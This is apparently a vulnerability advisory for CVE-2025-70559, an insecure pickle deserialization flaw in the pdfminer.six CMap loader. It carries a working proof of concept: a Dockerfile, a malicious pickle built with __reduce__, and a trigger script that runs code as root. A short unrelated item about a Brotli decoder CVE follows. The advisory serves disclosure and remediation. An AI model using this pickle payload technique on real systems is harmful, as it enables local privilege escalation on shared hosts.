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CVE-2025-70559

NVDCIRCLENISA

EUVD-2025-206704 Β· Published Nov 7, 2025

Insecure Deserialization (pickle) in pdfminer.six CMap Loader β€” Local Privesc

πŸš€ Overview

This report demonstrates a real-world privilege escalation vulnerability in pdfminer.six due to unsafe usage of Python's pickle module for CMap file loading.
It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.

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🚨 Special Note

This advisory addresses a distinct vulnerability from GHSA-wf5f-4jwr-ppcp (CVE-2025-64512).

While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit b808ee05dd7f0c8ea8ec34bdf394d40e63501086 does not address the vulnerability reported here.

Based on testing performed against the latest version of the library (comparison view), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The Dockerfile is hence modified to run test against this claim.

This demonstrates that the patch for CVE-2025-64512 is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on pickle

πŸ“š Table of Contents


πŸ” Background

pdfminer.six is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's pickle module.

🐍 Security Issue:
If the CMap search path (CMAP_PATH or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious .pickle.gz file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.


🐍 Vulnerability Description
  • Component: pdfminer.six CMap loading (pdfminer/cmapdb.py)
  • Issue: Loads and deserializes .pickle.gz files using Python’s pickle module, which is unsafe for untrusted data.
  • Exploitability: If a low-privileged user can write to any directory in CMAP_PATH, they can execute code as the user running pdfminerβ€”potentially root or a privileged service.
  • Impact: Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.

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🎭 Demo Scenario

Environment:

  • 🐧 Alpine Linux (Docker container)
  • πŸ‘¨β€πŸ’» Two users:
    • user1 (attacker: low-privilege)
    • root (victim: runs privileged PDF-processing script)
  • πŸ—‚οΈ Shared writable directory: /tmp/uploads
  • πŸ›£οΈ CMAP_PATH set to /tmp/uploads for the privileged script
  • πŸ“¦ pdfminer.six installed system-wide

Attack Flow:

  1. πŸ•΅οΈβ€β™‚οΈ user1 creates a malicious CMap file (Evil.pickle.gz) in /tmp/uploads.
  2. πŸ‘‘ The privileged service (root) processes a PDF or calls get_cmap("Evil").
  3. πŸ’£ The malicious pickle is deserialized, running arbitrary code as root.
  4. 🎯 The exploit creates a flag file in /root/pwnedByPdfminer as proof.

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🧨 Technical Details
  • Vulnerability Type: Insecure deserialization of untrusted data using Python's pickle
  • Attack Prerequisites: Attacker can write to a directory included in CMAP_PATH
  • Vulnerable Line:
    return type(str(name), (), pickle.loads(gzfile.read()))
    
    In pdfminer/cmapdb.py's _load_data method
  • https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246
  • Proof of Concept: See createEvilPickle.py, evilmod.py, and processPdf.py

Exploit Chain:

  • Attacker places a malicious .pickle.gz file in the CMap search path.
  • Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.
  • Arbitrary code executes with the privilege of the process (root/service account).

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πŸ”§ Setup and Usage

πŸ“ Files
</> Dockerfile
FROM python:3.11-alpine

ARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086

# Install git and build tooling
RUN apk add --no-cache git build-base

WORKDIR /opt

# Clone pdfminer.six and check out the specific commit, then install from source
RUN git clone https://github.com/pdfminer/pdfminer.six.git && \
    cd pdfminer.six && \
    git fetch --all && \
    git checkout ${PM_COMMIT} && \
    pip install --no-cache-dir -e .

# App working directory for PoC
WORKDIR /app

# Create low-privilege user and uploads dir
RUN adduser -D user1 && \
    mkdir -p /tmp/uploads && \
    chown user1:user1 /tmp/uploads && \
    chmod 1777 /tmp/uploads

# Copy PoC files
COPY evilmod.py /app/evilmod.py
COPY createEvilPickle.py /app/createEvilPickle.py
COPY processPDF.py /app/processPDF.py

ENV CMAP_PATH=/tmp/uploads
ENV PYTHONUNBUFFERED=1

# Keep the container running in background so you can exec into it anytime.
CMD ["tail", "-f", "/dev/null"]

</> evilmod.py
import os

def evilFunc():
    with open("/root/pwnedByPdfminer", "w") as f:
        f.write("ROOTED by pdfminer pickle RCE\n")
    return {"CODE2CID": {}, "IS_VERTICAL": False}
</> createEvilPickle.py
import pickle
import gzip
from evilmod import evilFunc

class Evil:
    def __reduce__(self):
        return (evilFunc, ())

payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
    f.write(payload)

print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz")
</> processPDF.py
import os
from pdfminer.cmapdb import CMapDB

os.environ["CMAP_PATH"] = "/tmp/uploads"

CMapDB.get_cmap("Evil")

print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.")

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1️⃣ Build and start the demo container
docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ
2️⃣ In the container, open two shells in parallel (or switch users in one):
πŸ•΅οΈβ€β™‚οΈ Shell 1 (Attacker: user1)
su user1
cd /app
python createEvilPickle.py
# βœ… Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1
πŸ‘‘ Shell 2 (Victim: root)
cd /app
python processPdf.py
# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created
3️⃣ Proof of escalation
cat /root/pwnedByPdfminer
# 🏴 Output: ROOTED by pdfminer pickle RCE

<img width="815" height="889" alt="proof-of-exploit" src="https://github.com/user-attachments/assets/f465d17c-a3af-49c5-9dbc-eec9635b36fc" />

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πŸ“ Step-by-step Walkthrough

  1. user1 uses createEvilPickle.py to craft and place a malicious CMap pickle in a shared upload directory.
  2. The root user runs a typical PDF-processing script, which loads CMap files from that directory.
  3. The exploit triggers, running arbitrary code as root.
  4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).

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πŸ›‘οΈ Security Standards & References

Technologies

Pdfminer.Six Pdfminer.Six

Weaknesses

CWE-502CWE-915

CVSS scores

  • v3.17.8CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Privilege Escalation

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

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